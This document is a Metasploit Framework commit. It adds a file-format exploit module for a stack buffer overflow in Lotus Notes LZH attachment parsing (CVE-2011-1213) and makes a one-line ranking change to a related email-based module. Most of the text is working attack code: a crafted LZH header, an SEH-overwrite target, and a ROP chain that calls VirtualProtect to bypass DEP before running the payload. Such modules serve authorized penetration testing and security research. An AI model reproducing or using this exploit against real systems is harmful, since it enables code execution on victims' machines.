Adds Ranking and Fileformat version of the Lotus Notes LZH Exploit

git-svn-id: file:///home/svn/framework3/trunk@13015 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/fileformat/lotusnotes_lzh.rb

@@ -0,0 +1,132 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GoodRanking
+
+	include Msf::Exploit::FILEFORMAT
+	include Msf::Exploit::Remote::Seh
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview(.lzh attachment)',
+			'Description'    => %q{
+				This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when
+				parsing a malformed, specially crafted LZH file. This vulnerability was
+				discovered binaryhouse.net
+
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'binaryhouse.net',		# original discovery
+					'alino <26alino@gmail.com>',	# Metasploit module
+				],
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					['CVE', '2011-1213'],
+					['OSVDB', '72706'],
+					['BID', '48018'],
+					['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=904'],
+					['URL', 'http://www.ibm.com/support/docview.wss?uid=swg21500034'],
+				],
+			'Stance'         => Msf::Exploit::Stance::Passive,
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Platform'       => ['win'],
+			'Targets'        =>
+				[
+					[ 'Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal',
+						{
+							'Offset' => 6741,
+							'Ret'    => 0x780c26b2 # POP ECX; POP ECX; RETN MSVCP60.dll
+						}
+					],
+					
+					[ 'Lotus Notes 8.5.2 FP2 / Windows Universal / DEP',
+						{
+							'Offset' => 6745,
+							'Ret'    => 0x60dc1043 # ADD ESP,52C; XOR EAX,EAX; POP EDI; POP ESI; POP EBX; POP EBP; RETN 4 nnotes.dll
+						}
+					],
+				],
+			'DisclosureDate' => 'May 24 2011',
+			'DefaultTarget'  => 0))
+
+			register_options(
+				[
+					OptString.new('FILENAME', [ true, 'The file name.',  'msf.lzh']),
+				], self.class)
+	end
+
+	def exploit
+
+		header =  "\x08"		# Size of archived file header <-- 8 - 13 = FFFFFFF6
+		header << "\x1a"		# 1 byte Header checksum
+		header << "-lh0-"		# Method ID (No compression)
+		header << "\x7c\x1a\x00\x00"	# Compressed file size
+		header << "\x7c\x1a\x00\x00"	# Uncompressed file size
+		header << "\xB2\x5e\xab\x3c"	# Original file date/time
+		header << "\x20"		# File attribute
+		header << "\x00"		# Level identifier
+		header << "\x07"		# File name length
+		header << "poc.txt"		# File name
+		header << "\x25\x7d"		# 16 bit CRC of the uncompressed file
+
+		lzh =  header 
+		lzh << rand_text(target['Offset'])
+
+		if (target == targets[0])
+
+			lzh << generate_seh_record(target.ret)
+			lzh << make_nops(8)
+			lzh << payload.encoded
+
+		elsif (target == targets[1])
+
+			rop_nop = [0x7c3c5958].pack('V') * 47 # RETN MSVCP71.dll
+
+			rop_gadgets =
+			[
+				0x60524404, # POP EAX; RETN nnotes.dll
+				0x7c37a140, # VirtualProtect() 
+				0x7c3a4000, # MOV EAX,DWORD PTR DS:[EAX]; RETN MSVCP71.dll
+				0x603c53c1, # MOV ESI,EAX; RETN nnotes.dll
+				0x60620001, # POP EBP; RETN nnotes.dll
+				0x7c3c5946, # PUSH ESP; RETN MSVCP71.dll
+				0x7c34280f, # POP EBX; RETN MSVCR71.dll
+				0x00001954, # dwSize
+				0x780ea001, # POP ECX; RETN MSVCP60.dll
+				0x7c38b000, # lpflOldProtect
+				0x60e73200, # POP EDI; RETN nnotes.dll
+				0x60e73201, # RETN nnotes.dll
+				0x601d5f02, # POP EDX; RETN nnotes.dll
+				0x00000040, # flNewProtect
+				0x60524404, # POP EAX; RETN nnotes.dll
+				0x90909090, # NOP
+				0x60820801, # PUSHAD; RETN nnotes.dll
+			].pack("V*")
+
+			lzh << [target.ret].pack('V')
+			lzh[32, rop_nop.length] = rop_nop
+			lzh[220, rop_gadgets.length] = rop_gadgets
+			lzh[289, payload.encoded.length] = payload.encoded
+		end
+
+		print_status("Creating '#{datastore['FILENAME']}' file...")
+		file_create(lzh)
+	end
+end

modules/exploits/windows/lotus/lotusnotes_lzh.rb

@@ -12,6 +12,7 @@
 require 'msf/core'
 
 class Metasploit3 < Msf::Exploit::Remote
+	Rank = ManualRanking # needs client interaction and permanent listener
 
 	#
 	# This module sends email messages via smtp